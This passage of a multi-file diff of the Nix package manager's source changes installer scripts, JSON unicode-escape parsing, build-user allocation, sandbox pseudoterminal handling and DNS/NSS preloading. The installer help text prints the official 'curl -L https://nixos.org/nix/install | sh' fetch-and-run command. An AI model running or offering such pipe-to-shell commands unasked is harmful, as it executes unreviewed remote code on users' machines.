NIX_FIRST_BUILD_UID="301"
NIX_BUILD_USER_NAME_TEMPLATE="_nixbld%d"
dsclattr() {
/usr/bin/dscl . -read "$1" \
+10 -6
View File
@@ -25,7 +25,9 @@ readonly RED='\033[31m'
readonly NIX_USER_COUNT=${NIX_USER_COUNT:-32}
readonly NIX_BUILD_GROUP_ID="30000"
readonly NIX_BUILD_GROUP_NAME="nixbld"
readonly NIX_FIRST_BUILD_UID="30001"
# darwin installer needs to override these
NIX_FIRST_BUILD_UID="30001"
NIX_BUILD_USER_NAME_TEMPLATE="nixbld%d"
# Please don't change this. We don't support it, because the
# default shell profile that comes with Nix doesn't support it.
readonly NIX_ROOT="/nix"
@@ -61,8 +63,10 @@ contactme() {
echo "If you can, open an issue at https://github.com/nixos/nix/issues"
echo ""
echo "Or feel free to contact the team,"
echo " - on IRC #nixos on irc.freenode.net"
echo " - on Matrix #nix:nixos.org"
echo " - on IRC #nixos on irc.libera.chat"
echo " - on twitter @nixos_org"
echo " - on our forum https://discourse.nixos.org/"
}
uninstall_directions() {
@@ -102,7 +106,7 @@ EOF
}
nix_user_for_core() {
printf "nixbld%d" "$1"
printf "$NIX_BUILD_USER_NAME_TEMPLATE" "$1"
}
nix_uid_for_core() {
@@ -532,7 +536,7 @@ create_directories() {
# FIXME: remove all of this because it duplicates LocalStore::LocalStore().
_sudo "to make the basic directory structure of Nix (part 1)" \
mkdir -pv -m 0755 /nix /nix/var /nix/var/log /nix/var/log/nix /nix/var/log/nix/drvs /nix/var/nix{,/db,/gcroots,/profiles,/temproots,/userpool} /nix/var/nix/{gcroots,profiles}/per-user
mkdir -pv -m 0755 /nix /nix/var /nix/var/log /nix/var/log/nix /nix/var/log/nix/drvs /nix/var/nix{,/db,/gcroots,/profiles,/temproots,/userpool,/daemon-socket} /nix/var/nix/{gcroots,profiles}/per-user
_sudo "to make the basic directory structure of Nix (part 2)" \
mkdir -pv -m 1775 /nix/store
@@ -618,7 +622,7 @@ This script is going to call sudo a lot. Normally, it would show you
exactly what commands it is running and why. However, the script is
run in a headless fashion, like this:
$ curl https://nixos.org/nix/install | sh
$ curl -L https://nixos.org/nix/install | sh
or maybe in a CI pipeline. Because of that, we're going to skip the
verbose output in the interest of brevity.
@@ -626,7 +630,7 @@ verbose output in the interest of brevity.
If you would like to
see the output, try like this:
$ curl -o install-nix https://nixos.org/nix/install
$ curl -L -o install-nix https://nixos.org/nix/install
$ sh ./install-nix
EOF
+18 -8
View File
@@ -2,6 +2,8 @@
set -e
umask 0022
dest="/nix"
self="$(dirname "$0")"
nix="@nix@"
@@ -24,9 +26,11 @@ fi
# macOS support for 10.12.6 or higher
if [ "$(uname -s)" = "Darwin" ]; then
macos_major=$(sw_vers -productVersion | cut -d '.' -f 2)
macos_minor=$(sw_vers -productVersion | cut -d '.' -f 3)
if [ "$macos_major" -lt 12 ] || { [ "$macos_major" -eq 12 ] && [ "$macos_minor" -lt 6 ]; }; then
IFS='.' read macos_major macos_minor macos_patch << EOF
$(sw_vers -productVersion)
EOF
if [ "$macos_major" -lt 10 ] || { [ "$macos_major" -eq 10 ] && [ "$macos_minor" -lt 12 ]; } || { [ "$macos_minor" -eq 12 ] && [ "$macos_patch" -lt 6 ]; }; then
# patch may not be present; command substitution for simplicity
echo "$0: macOS $(sw_vers -productVersion) is not supported, upgrade to 10.12.6 or higher"
exit 1
fi
@@ -88,7 +92,7 @@ while [ $# -gt 0 ]; do
) >&2
# darwin and Catalina+
if [ "$(uname -s)" = "Darwin" ] && [ "$macos_major" -gt 14 ]; then
if [ "$(uname -s)" = "Darwin" ] && { [ "$macos_major" -gt 10 ] || { [ "$macos_major" -eq 10 ] && [ "$macos_minor" -gt 14 ]; }; }; then
(
echo " --darwin-use-unencrypted-nix-store-volume: Create an APFS volume for the Nix"
echo " store and mount it at /nix. This is the recommended way to create"
@@ -108,12 +112,12 @@ if [ "$(uname -s)" = "Darwin" ]; then
"$self/create-darwin-volume.sh"
fi
info=$(diskutil info -plist / | xpath "/plist/dict/key[text()='Writable']/following-sibling::true[1]" 2> /dev/null)
if ! [ -e $dest ] && [ -n "$info" ] && [ "$macos_major" -gt 14 ]; then
writable="$(diskutil info -plist / | xmllint --xpath "name(/plist/dict/key[text()='Writable']/following-sibling::*[1])" -)"
if ! [ -e $dest ] && [ "$writable" = "false" ]; then
(
echo ""
echo "Installing on macOS >=10.15 requires relocating the store to an apfs volume."
echo "Use sh <(curl https://nixos.org/nix/install) --darwin-use-unencrypted-nix-store-volume or run the preparation steps manually."
echo "Use sh <(curl -L https://nixos.org/nix/install) --darwin-use-unencrypted-nix-store-volume or run the preparation steps manually."
echo "See https://nixos.org/nix/manual/#sect-macos-installation"
echo ""
) >&2
@@ -150,9 +154,15 @@ fi
mkdir -p $dest/store
printf "copying Nix to %s..." "${dest}/store" >&2
# Insert a newline if no progress is shown.
if [ ! -t 0 ]; then
echo ""
fi
for i in $(cd "$self/store" >/dev/null && echo ./*); do
printf "." >&2
if [ -t 0 ]; then
printf "." >&2
fi
i_tmp="$dest/store/$i.$$"
if [ -e "$i_tmp" ]; then
rm -rf "$i_tmp"
+3
View File
@@ -10,6 +10,8 @@ oops() {
exit 1
}
umask 0022
tmpDir="$(mktemp -d -t nix-binary-tarball-unpack.XXXXXXXXXX || \
oops "Can't create temporary directory for downloading the Nix binary tarball")"
cleanup() {
@@ -27,6 +29,7 @@ case "$(uname -s).$(uname -m)" in
Linux.i?86) system=i686-linux; hash=@binaryTarball_i686-linux@;;
Linux.aarch64) system=aarch64-linux; hash=@binaryTarball_aarch64-linux@;;
Darwin.x86_64) system=x86_64-darwin; hash=@binaryTarball_x86_64-darwin@;;
Darwin.arm64) system=aarch64-darwin; hash=@binaryTarball_aarch64-darwin@;;
*) oops "sorry, there is no binary distribution of Nix for your platform";;
esac
+14 -4
View File
@@ -17,11 +17,21 @@ elif [ -e /etc/pki/tls/certs/ca-bundle.crt ]; then # Fedora, CentOS
export NIX_SSL_CERT_FILE=/etc/pki/tls/certs/ca-bundle.crt
else
# Fall back to what is in the nix profiles, favouring whatever is defined last.
for i in $NIX_PROFILES; do
if [ -e $i/etc/ssl/certs/ca-bundle.crt ]; then
export NIX_SSL_CERT_FILE=$i/etc/ssl/certs/ca-bundle.crt
check_nix_profiles() {
if [ "$ZSH_VERSION" ]; then
# Zsh by default doesn't split words in unquoted parameter expansion.
# Set local_options for these options to be reverted at the end of the function
# and shwordsplit to force splitting words in $NIX_PROFILES below.
setopt local_options shwordsplit
fi
done
for i in $NIX_PROFILES; do
if [ -e $i/etc/ssl/certs/ca-bundle.crt ]; then
export NIX_SSL_CERT_FILE=$i/etc/ssl/certs/ca-bundle.crt
fi
done
}
check_nix_profiles
unset -f check_nix_profiles
fi
export NIX_PATH="nixpkgs=@localstatedir@/nix/profiles/per-user/root/channels/nixpkgs:@localstatedir@/nix/profiles/per-user/root/channels"
+2
View File
@@ -192,6 +192,8 @@ static int _main(int argc, char * * argv)
storeParams["log-fd"] = "4";
if (bestMachine->sshKey != "")
storeParams["ssh-key"] = bestMachine->sshKey;
if (bestMachine->sshPublicHostKey != "")
storeParams["base64-ssh-public-host-key"] = bestMachine->sshPublicHostKey;
}
sshStore = openStore(bestMachine->storeUri, storeParams);
+1
View File
@@ -67,6 +67,7 @@ static void printValue(std::ostream & str, std::set<const Value *> & active, con
else if (*i == '\n') str << "\\n";
else if (*i == '\r') str << "\\r";
else if (*i == '\t') str << "\\t";
else if (*i == '$' && *(i+1) == '{') str << "\\" << *i;
else str << *i;
str << "\"";
break;
+86 -3
View File
@@ -11,6 +11,87 @@ static void skipWhitespace(const char * & s)
}
/*
Parse an unicode escape sequence (4 hex characters following \u) in JSON string
*/
static string parseUnicodeEscapeSequence(const char * & s)
{
int codepoint = 0;
const auto factors = { 12u, 8u, 4u, 0u };
for (const auto factor : factors)
{
if (!*s) throw JSONParseError("got end-of-string in JSON string while parsing \\u sequence");
if (*s >= '0' and *s <= '9') {
codepoint += static_cast<int>((static_cast<unsigned int>(*s) - 0x30u) << factor);
} else if (*s >= 'A' and *s <= 'F') {
codepoint += static_cast<int>((static_cast<unsigned int>(*s) - 0x37u) << factor);
} else if (*s >= 'a' and *s <= 'f') {
codepoint += static_cast<int>((static_cast<unsigned int>(*s) - 0x57u) << factor);
} else {
throw JSONParseError(format("illegal character '%1%' in \\u escape sequence.") % *s);
}
s++;
}
if ((codepoint > 0xd7ff && codepoint < 0xe000) || codepoint > 0x10ffff) {
throw JSONParseError("Unicode escape sequence is not a Unicode scalar value");
}
// taken from cpptoml.h
std::string result;
// See Table 3-6 of the Unicode standard
if (codepoint <= 0x7f)
{
// 1-byte codepoints: 00000000 0xxxxxxx
// repr: 0xxxxxxx
result += static_cast<char>(codepoint & 0x7f);
}
else if (codepoint <= 0x7ff)
{
// 2-byte codepoints: 00000yyy yyxxxxxx
// repr: 110yyyyy 10xxxxxx
//
// 0x1f = 00011111
// 0xc0 = 11000000
//
result += static_cast<char>(0xc0 | ((codepoint >> 6) & 0x1f));
//
// 0x80 = 10000000
// 0x3f = 00111111
//
result += static_cast<char>(0x80 | (codepoint & 0x3f));
}
else if (codepoint <= 0xffff)
{
// 3-byte codepoints: zzzzyyyy yyxxxxxx
// repr: 1110zzzz 10yyyyyy 10xxxxxx
//
// 0xe0 = 11100000
// 0x0f = 00001111
//
result += static_cast<char>(0xe0 | ((codepoint >> 12) & 0x0f));
result += static_cast<char>(0x80 | ((codepoint >> 6) & 0x1f));
result += static_cast<char>(0x80 | (codepoint & 0x3f));
}
else
{
// 4-byte codepoints: 000uuuuu zzzzyyyy yyxxxxxx
// repr: 11110uuu 10uuzzzz 10yyyyyy 10xxxxxx
//
// 0xf0 = 11110000
// 0x07 = 00000111
//
result += static_cast<char>(0xf0 | ((codepoint >> 18) & 0x07));
result += static_cast<char>(0x80 | ((codepoint >> 12) & 0x3f));
result += static_cast<char>(0x80 | ((codepoint >> 6) & 0x3f));
result += static_cast<char>(0x80 | (codepoint & 0x3f));
}
return result;
}
static string parseJSONString(const char * & s)
{
string res;
@@ -22,14 +103,16 @@ static string parseJSONString(const char * & s)
if (*s == '"') res += '"';
else if (*s == '\\') res += '\\';
else if (*s == '/') res += '/';
else if (*s == '/') res += '/';
else if (*s == 'b') res += '\b';
else if (*s == 'f') res += '\f';
else if (*s == 'n') res += '\n';
else if (*s == 'r') res += '\r';
else if (*s == 't') res += '\t';
else if (*s == 'u') throw JSONParseError("\\u characters in JSON strings are currently not supported");
else throw JSONParseError("invalid escaped character in JSON string");
else if (*s == 'u') {
res += parseUnicodeEscapeSequence(++s);
// to neuter the outside s++
s--;
} else throw JSONParseError("invalid escaped character in JSON string");
s++;
} else
res += *s++;
+1 -1
View File
@@ -9,7 +9,7 @@ libexpr_SOURCES := $(wildcard $(d)/*.cc) $(wildcard $(d)/primops/*.cc) $(d)/lexe
libexpr_LIBS = libutil libstore
libexpr_LDFLAGS =
ifneq ($(OS), FreeBSD)
ifdef HOST_LINUX
libexpr_LDFLAGS += -ldl
endif
+2 -2
View File
@@ -105,7 +105,7 @@ void ExprAttrs::show(std::ostream & str) const
str << "{ ";
for (auto & i : attrs)
if (i.second.inherited)
str << "inherit " << i.first << " " << "; ";
str << "inherit " << i.first << "; ";
else
str << i.first << " = " << *i.second.e << "; ";
for (auto & i : dynamicAttrs)
@@ -211,7 +211,7 @@ string showAttrPath(const AttrPath & attrPath)
if (i.symbol.set())
out << i.symbol;
else
out << "\"${" << *i.expr << "}\"";
out << "${" << *i.expr << "}";
}
return out.str();
}
+15 -5
View File
@@ -937,10 +937,16 @@ static void prim_hashFile(EvalState & state, const Pos & pos, Value * * args, Va
if (ht == htUnknown)
throw Error(format("unknown hash type '%1%', at %2%") % type % pos);
PathSet context; // discarded
Path p = state.coerceToPath(pos, *args[1], context);
PathSet context;
Path path = state.coerceToPath(pos, *args[1], context);
try {
state.realiseContext(context);
} catch (InvalidPathError & e) {
throw EvalError(format("cannot read '%1%', since path '%2%' is not valid, at %3%")
% path % e.path % pos);
}
mkString(v, hashFile(ht, state.checkSourcePath(p)).to_string(Base16, false), context);
mkString(v, hashFile(ht, state.checkSourcePath(state.toRealPath(path, context))).to_string(Base16, false));
}
/* Read a directory (without . or ..) */
@@ -1350,6 +1356,10 @@ static void prim_catAttrs(EvalState & state, const Pos & pos, Value * * args, Va
static void prim_functionArgs(EvalState & state, const Pos & pos, Value * * args, Value & v)
{
state.forceValue(*args[0]);
if (args[0]->type == tPrimOpApp || args[0]->type == tPrimOp) {
state.mkAttrs(v, 0);
return;
}
if (args[0]->type != tLambda)
throw TypeError(format("'functionArgs' requires a function, at %1%") % pos);
@@ -1817,7 +1827,7 @@ static void prim_hashString(EvalState & state, const Pos & pos, Value * * args,
PathSet context; // discarded
string s = state.forceString(*args[1], context, pos);
mkString(v, hashString(ht, s).to_string(Base16, false), context);
mkString(v, hashString(ht, s).to_string(Base16, false));
}
@@ -2075,7 +2085,7 @@ void fetch(EvalState & state, const Pos & pos, Value * * args, Value & v,
else if (n == "name")
request.name = state.forceStringNoCtx(*attr.value, *attr.pos);
else
throw EvalError(format("unsupported argument '%1%' to '%2%', at %3%") % attr.name % who % attr.pos);
throw EvalError(format("unsupported argument '%1%' to '%2%', at %3%") % attr.name % who % *attr.pos);
}
if (request.uri.empty())
+2 -1
View File
@@ -6,6 +6,7 @@
#include "hash.hh"
#include <sys/time.h>
#include <sys/wait.h>
#include <regex>
@@ -173,7 +174,7 @@ GitInfo exportGit(ref<Store> store, const std::string & uri,
Path tmpDir = createTempDir();
AutoDelete delTmpDir(tmpDir, true);
runProgram("tar", true, { "x", "-C", tmpDir }, tar);
runProgram("tar", true, { "-x", "-f", "-", "-C", tmpDir }, tar);
gitInfo.storePath = store->addToStore(name, tmpDir);
+45 -1
View File
@@ -14,6 +14,14 @@
#include <sys/stat.h>
#include <unistd.h>
#include <signal.h>
#ifdef __linux__
#include <features.h>
#endif
#ifdef __GLIBC__
#include <gnu/lib-names.h>
#include <nss.h>
#include <dlfcn.h>
#endif
#include <openssl/crypto.h>
@@ -95,6 +103,40 @@ static void opensslLockCallback(int mode, int type, const char * file, int line)
}
#endif
static std::once_flag dns_resolve_flag;
static void preloadNSS() {
/* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of
one of the glibc NSS libraries in a sandboxed child, which will fail unless the library's already
been loaded in the parent. So we force a lookup of an invalid domain to force the NSS machinery to
load its lookup libraries in the parent before any child gets a chance to. */
std::call_once(dns_resolve_flag, []() {
#ifdef __GLIBC__
/* On linux, glibc will run every lookup through the nss layer.
* That means every lookup goes, by default, through nscd, which acts as a local
* cache.
* Because we run builds in a sandbox, we also remove access to nscd otherwise
* lookups would leak into the sandbox.
*
* But now we have a new problem, we need to make sure the nss_dns backend that
* does the dns lookups when nscd is not available is loaded or available.
*
* We can't make it available without leaking nix's environment, so instead we'll
* load the backend, and configure nss so it does not try to run dns lookups
* through nscd.
*
* This is technically only used for builtins:fetch* functions so we only care
* about dns.
*
* All other platforms are unaffected.
*/
if (dlopen (LIBNSS_DNS_SO, RTLD_NOW) == NULL) {
printMsg(Verbosity::lvlWarn, fmt("Unable to load nss_dns backend"));
}
__nss_configure_lookup ("hosts", "dns");
#endif
});
}
static void sigHandler(int signo) { }
@@ -155,9 +197,11 @@ void initNix()
sshd). This breaks build users because they don't have access
to the TMPDIR, in particular in ‘nix-store --serve’. */
#if __APPLE__
if (getuid() == 0 && hasPrefix(getEnv("TMPDIR"), "/var/folders/"))
if (hasPrefix(getEnv("TMPDIR"), "/var/folders/"))
unsetenv("TMPDIR");
#endif
preloadNSS();
}
+1 -1
View File
@@ -104,7 +104,7 @@ void BinaryCacheStore::writeNarInfo(ref<NarInfo> narInfo)
{
auto state_(state.lock());
state_->pathInfoCache.upsert(hashPart, std::shared_ptr<NarInfo>(narInfo));
state_->pathInfoCache.upsert(hashPart, PathInfoCacheValue(std::shared_ptr<NarInfo>(narInfo)));
}
if (diskCache)
+161 -106
View File
@@ -34,7 +34,6 @@
#include <sys/resource.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <cstring>
@@ -45,7 +44,6 @@
/* Includes required for chroot support. */
#if __linux__
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/ip.h>
@@ -181,6 +179,8 @@ public:
virtual string key() = 0;
virtual void cleanup() { }
protected:
virtual void amDone(ExitCode result);
@@ -426,6 +426,8 @@ void Goal::amDone(ExitCode result)
}
waiters.clear();
worker.removeGoal(shared_from_this());
cleanup();
}
@@ -440,7 +442,7 @@ void Goal::trace(const FormatOrString & fs)
/* Common initialisation performed in child processes. */
static void commonChildInit(Pipe & logPipe)
static void commonChildInit(int stderrFd)
{
restoreSignals();
@@ -452,7 +454,7 @@ static void commonChildInit(Pipe & logPipe)
throw SysError(format("creating a new session"));
/* Dup the write side of the logger pipe into stderr. */
if (dup2(logPipe.writeSide.get(), STDERR_FILENO) == -1)
if (stderrFd != -1 && dup2(stderrFd, STDERR_FILENO) == -1)
throw SysError("cannot pipe standard error into log file");
/* Dup stderr to stdout. */
@@ -522,17 +524,24 @@ public:
uid_t getGID() { assert(gid); return gid; }
std::vector<gid_t> getSupplementaryGIDs() { return supplementaryGIDs; }
bool findFreeUser();
bool enabled() { return uid != 0; }
};
Sync<PathSet> UserLock::lockedPaths_;
UserLock::UserLock()
{
assert(settings.buildUsersGroup != "");
createDirs(settings.nixStateDir + "/userpool");
/* Mark that user is not enabled by default */
uid = 0;
}
bool UserLock::findFreeUser() {
/* Get the members of the build-users-group. */
struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str());
@@ -562,7 +571,6 @@ UserLock::UserLock()
throw Error(format("the user '%1%' in the group '%2%' does not exist")
% i % settings.buildUsersGroup);
createDirs(settings.nixStateDir + "/userpool");
fnUserLock = (format("%1%/userpool/%2%") % settings.nixStateDir % pw->pw_uid).str();
@@ -603,20 +611,17 @@ UserLock::UserLock()
supplementaryGIDs.resize(ngroups);
#endif
return;
return true;
}
} catch (...) {
lockedPaths_.lock()->erase(fnUserLock);
return false;
}
}
throw Error(format("all build users are currently in use; "
"consider creating additional users and adding them to the '%1%' group")
% settings.buildUsersGroup);
return false;
}
UserLock::~UserLock()
{
auto lockedPaths(lockedPaths_.lock());
@@ -624,7 +629,6 @@ UserLock::~UserLock()
lockedPaths->erase(fnUserLock);
}
void UserLock::kill()
{
killUser(uid);
@@ -674,7 +678,7 @@ HookInstance::HookInstance()
/* Fork the hook. */
pid = startProcess([&]() {
commonChildInit(fromHook);
commonChildInit(fromHook.writeSide.get());
if (chdir("/") == -1) throw SysError("changing into /");
@@ -820,8 +824,13 @@ private:
std::string currentHookLine;
/* Pipe for the builder's standard output/error. */
Pipe builderOut;
/* Master side of the pseudoterminal used for the builder's
standard output/error. */
AutoCloseFD builderOut;
/* Slave side of the pseudoterminal used for the builder's
standard output/error. */
Path slaveName;
/* Pipe for synchronising updates to the builder user namespace. */
Pipe userNamespaceSync;
@@ -1222,8 +1231,13 @@ void DerivationGoal::outputsSubstituted()
/* If the substitutes form an incomplete closure, then we should
build the dependencies of this derivation, but after that, we
can still use the substitutes for this derivation itself. */
if (nrIncompleteClosure > 0) retrySubstitution = true;
can still use the substitutes for this derivation itself.
If the nrIncompleteClosure != nrFailed, we have another issue as well.
In particular, it may be the case that the hole in the closure is
an output of the current derivation, which causes a loop if retried.
*/
if (nrIncompleteClosure > 0 && nrIncompleteClosure == nrFailed) retrySubstitution = true;
nrFailed = nrNoSubstituters = nrIncompleteClosure = 0;
@@ -1408,6 +1422,30 @@ void DerivationGoal::tryToBuild()
{
trace("trying to build");
/* If `build-users-group' is not empty, then we have to build as
one of the members of that group. */
if (settings.buildUsersGroup != "" && getuid() == 0) {
#if defined(__linux__) || defined(__APPLE__)
if (!buildUser) buildUser = std::make_unique<UserLock>();
if (!buildUser->enabled()) {
if (!buildUser->findFreeUser()) {
debug("waiting for build users");
worker.waitForAWhile(shared_from_this());
return;
}
/* Make sure that no other processes are executing under this
uid. */
buildUser->kill();
}
#else
/* Don't know how to block the creation of setuid/setgid
binaries on this platform. */
throw Error("build users are not supported on this platform for security reasons");
#endif
}
/* Obtain locks on all output paths. The locks are automatically
released when we exit this function or Nix crashes. If we
can't acquire the lock, then continue; hopefully some other
@@ -1569,7 +1607,7 @@ void DerivationGoal::buildDone()
hook->builderOut.readSide = -1;
hook->fromHook.readSide = -1;
} else
builderOut.readSide = -1;
builderOut.close();
/* Close the log file. */
closeLogFile();
@@ -1881,22 +1919,6 @@ PathSet DerivationGoal::exportReferences(PathSet storePaths)
return paths;
}
static std::once_flag dns_resolve_flag;
static void preloadNSS() {
/* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of
one of the glibc NSS libraries in a sandboxed child, which will fail unless the library's already
been loaded in the parent. So we force a lookup of an invalid domain to force the NSS machinery to
load its lookup libraries in the parent before any child gets a chance to. */
std::call_once(dns_resolve_flag, []() {
struct addrinfo *res = NULL;
if (getaddrinfo("this.pre-initializes.the.dns.resolvers.invalid.", "http", NULL, &res) != 0) {
if (res) freeaddrinfo(res);
}
});
}
void DerivationGoal::startBuilder()
{
/* Right platform? */
@@ -1908,9 +1930,6 @@ void DerivationGoal::startBuilder()
settings.thisSystem,
concatStringsSep(", ", settings.systemFeatures));
if (drv->isBuiltin())
preloadNSS();
#if __APPLE__
additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or("");
#endif
@@ -1943,22 +1962,6 @@ void DerivationGoal::startBuilder()
#endif
}
/* If `build-users-group' is not empty, then we have to build as
one of the members of that group. */
if (settings.buildUsersGroup != "" && getuid() == 0) {
#if defined(__linux__) || defined(__APPLE__)
buildUser = std::make_unique<UserLock>();
/* Make sure that no other processes are executing under this
uid. */
buildUser->kill();
#else
/* Don't know how to block the creation of setuid/setgid
binaries on this platform. */
throw Error("build users are not supported on this platform for security reasons");
#endif
}
/* Create a temporary directory where the build will take
place. */
auto drvName = storePathToName(drvPath);
@@ -2060,7 +2063,9 @@ void DerivationGoal::startBuilder()
if (!found)
throw Error(format("derivation '%1%' requested impure path '%2%', but it was not in allowed-impure-host-deps") % drvPath % i);
dirsInChroot[i] = i;
/* Allow files in __impureHostDeps to be missing; e.g.
macOS 11+ has no /usr/lib/libSystem*.dylib */
dirsInChroot[i] = {i, true};
}
#if __linux__
@@ -2238,14 +2243,12 @@ void DerivationGoal::startBuilder()
/* Create the log file. */
Path logFile = openLogFile();
/* Create a pipe to get the output of the builder. */
//builderOut.create();
builderOut.readSide = posix_openpt(O_RDWR | O_NOCTTY);
if (!builderOut.readSide)
/* Create a pseudoterminal to get the output of the builder. */
builderOut = posix_openpt(O_RDWR | O_NOCTTY);
if (!builderOut)
throw SysError("opening pseudoterminal master");
std::string slaveName(ptsname(builderOut.readSide.get()));
slaveName = ptsname(builderOut.get());
if (buildUser) {
if (chmod(slaveName.c_str(), 0600))
@@ -2254,33 +2257,33 @@ void DerivationGoal::startBuilder()
if (chown(slaveName.c_str(), buildUser->getUID(), 0))
throw SysError("changing owner of pseudoterminal slave");
} else {
if (grantpt(builderOut.readSide.get()))
if (grantpt(builderOut.get()))
throw SysError("granting access to pseudoterminal slave");
}
#if 0
// Mount the pt in the sandbox so that the "tty" command works.
// FIXME: this doesn't work with the new devpts in the sandbox.
if (useChroot)
dirsInChroot[slaveName] = {slaveName, false};
#endif
if (unlockpt(builderOut.readSide.get()))
if (unlockpt(builderOut.get()))
throw SysError("unlocking pseudoterminal");
builderOut.writeSide = open(slaveName.c_str(), O_RDWR | O_NOCTTY);
if (!builderOut.writeSide)
throw SysError("opening pseudoterminal slave");
/* Open the slave side of the pseudoterminal and use it as stderr. */
auto openSlave = [&]()
{
AutoCloseFD builderOut = open(slaveName.c_str(), O_RDWR | O_NOCTTY);
if (!builderOut)
throw SysError("opening pseudoterminal slave");
// Put the pt into raw mode to prevent \n -> \r\n translation.
struct termios term;
if (tcgetattr(builderOut.writeSide.get(), &term))
throw SysError("getting pseudoterminal attributes");
// Put the pt into raw mode to prevent \n -> \r\n translation.
struct termios term;
if (tcgetattr(builderOut.get(), &term))
throw SysError("getting pseudoterminal attributes");
cfmakeraw(&term);
cfmakeraw(&term);
if (tcsetattr(builderOut.writeSide.get(), TCSANOW, &term))
throw SysError("putting pseudoterminal into raw mode");
if (tcsetattr(builderOut.get(), TCSANOW, &term))
throw SysError("putting pseudoterminal into raw mode");
if (dup2(builderOut.get(), STDERR_FILENO) == -1)
throw SysError("cannot pipe standard error into log file");
};
result.startTime = time(0);
@@ -2330,7 +2333,16 @@ void DerivationGoal::startBuilder()
options.allowVfork = false;
Pipe sendPid;
sendPid.create();
Pid helper = startProcess([&]() {
sendPid.readSide.close();
/* We need to open the slave early, before
CLONE_NEWUSER. Otherwise we get EPERM when running as
root. */
openSlave();
/* Drop additional groups here because we can't do it
after we've created the new user namespace. FIXME:
@@ -2374,10 +2386,12 @@ void DerivationGoal::startBuilder()
_exit(1);
if (child == -1) throw SysError("cloning builder process");
writeFull(builderOut.writeSide.get(), std::to_string(child) + "\n");
writeFull(sendPid.writeSide.get(), std::to_string(child) + "\n");
_exit(0);
}, options);
sendPid.writeSide.close();
int res = helper.wait();
if (res != 0 && settings.sandboxFallback) {
useChroot = false;
@@ -2388,8 +2402,14 @@ void DerivationGoal::startBuilder()
userNamespaceSync.readSide = -1;
/* Close the write side to prevent runChild() from hanging
reading from this. */
Finally cleanup([&]() {
userNamespaceSync.writeSide = -1;
});
pid_t tmp;
if (!string2Int<pid_t>(readLine(builderOut.readSide.get()), tmp)) abort();
if (!string2Int<pid_t>(readLine(sendPid.readSide.get()), tmp)) abort();
pid = tmp;
/* Set the UID/GID mapping of the builder's user namespace
@@ -2409,7 +2429,6 @@ void DerivationGoal::startBuilder()
/* Signal the builder that we've updated its user
namespace. */
writeFull(userNamespaceSync.writeSide.get(), "1");
userNamespaceSync.writeSide = -1;
} else
#endif
@@ -2417,18 +2436,18 @@ void DerivationGoal::startBuilder()
fallback:
options.allowVfork = !buildUser && !drv->isBuiltin();
pid = startProcess([&]() {
openSlave();
runChild();
}, options);
}
/* parent */
pid.setSeparatePG(true);
builderOut.writeSide = -1;
worker.childStarted(shared_from_this(), {builderOut.readSide.get()}, true, true);
worker.childStarted(shared_from_this(), {builderOut.get()}, true, true);
/* Check if setting up the build environment failed. */
while (true) {
string msg = readLine(builderOut.readSide.get());
string msg = readLine(builderOut.get());
if (string(msg, 0, 1) == "\1") {
if (msg.size() == 1) break;
throw Error(string(msg, 1));
@@ -2579,6 +2598,7 @@ void DerivationGoal::writeStructuredAttrs()
writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
chownToBuilder(tmpDir + "/.attrs.json");
env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
/* As a convenience to bash scripts, write a shell file that
maps all attributes that are representable in bash -
@@ -2648,6 +2668,7 @@ void DerivationGoal::writeStructuredAttrs()
writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
chownToBuilder(tmpDir + "/.attrs.sh");
env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
}
@@ -2729,7 +2750,7 @@ void DerivationGoal::runChild()
try { /* child */
commonChildInit(builderOut);
commonChildInit(-1);
try {
setupSeccomp();
@@ -2829,8 +2850,6 @@ void DerivationGoal::runChild()
ss.push_back("/etc/services");
ss.push_back("/etc/hosts");
if (pathExists("/var/run/nscd/socket"))
ss.push_back("/var/run/nscd/socket");
}
for (auto & i : ss) dirsInChroot.emplace(i, i);
@@ -3188,6 +3207,26 @@ PathSet parseReferenceSpecifiers(Store & store, const BasicDerivation & drv, con
}
/* Move/rename path 'src' to 'dst'. Temporarily make 'src' writable if
it's a directory and we're not root (to be able to update the
directory's parent link ".."). */
static void movePath(const Path & src, const Path & dst)
{
auto st = lstat(src);
bool changePerm = (geteuid() && S_ISDIR(st.st_mode) && !(st.st_mode & S_IWUSR));
if (changePerm)
chmod_(src, st.st_mode | S_IWUSR);
if (rename(src.c_str(), dst.c_str()))
throw SysError("renaming '%1%' to '%2%'", src, dst);
if (changePerm)
chmod_(dst, st.st_mode);
}
void DerivationGoal::registerOutputs()
{
/* When using a build hook, the build hook can register the output
@@ -3228,9 +3267,8 @@ void DerivationGoal::registerOutputs()
/* Move output paths from the chroot to the Nix store. */
if (buildMode == bmRepair)
replaceValidPath(path, actualPath);
else
if (buildMode != bmCheck && rename(actualPath.c_str(), worker.store.toRealPath(path).c_str()) == -1)
throw SysError(format("moving build output '%1%' from the sandbox to the Nix store") % path);
else if (buildMode != bmCheck)
movePath(actualPath, worker.store.toRealPath(path));
}
if (buildMode != bmCheck) actualPath = worker.store.toRealPath(path);
}
@@ -3264,10 +3302,17 @@ void DerivationGoal::registerOutputs()
throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
#endif
/* Apply hash rewriting if necessary. */
/* Apply hash rewriting if necessary.
*
* For FODs, we always do the dump-and-restore dance regardless to make
* sure that there's no stale file descriptor pointing to the output
* of the path.
* */
bool rewritten = false;
if (!outputRewrites.empty()) {
if (fixedOutput || !outputRewrites.empty()) {
if (!outputRewrites.empty()) {
printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
}
/* Canonicalise first. This ensures that the path we're
rewriting doesn't contain a hard link to /etc/shadow or
@@ -3697,7 +3742,7 @@ void DerivationGoal::deleteTmpDir(bool force)
void DerivationGoal::handleChildOutput(int fd, const string & data)
{
if ((hook && fd == hook->builderOut.readSide.get()) ||
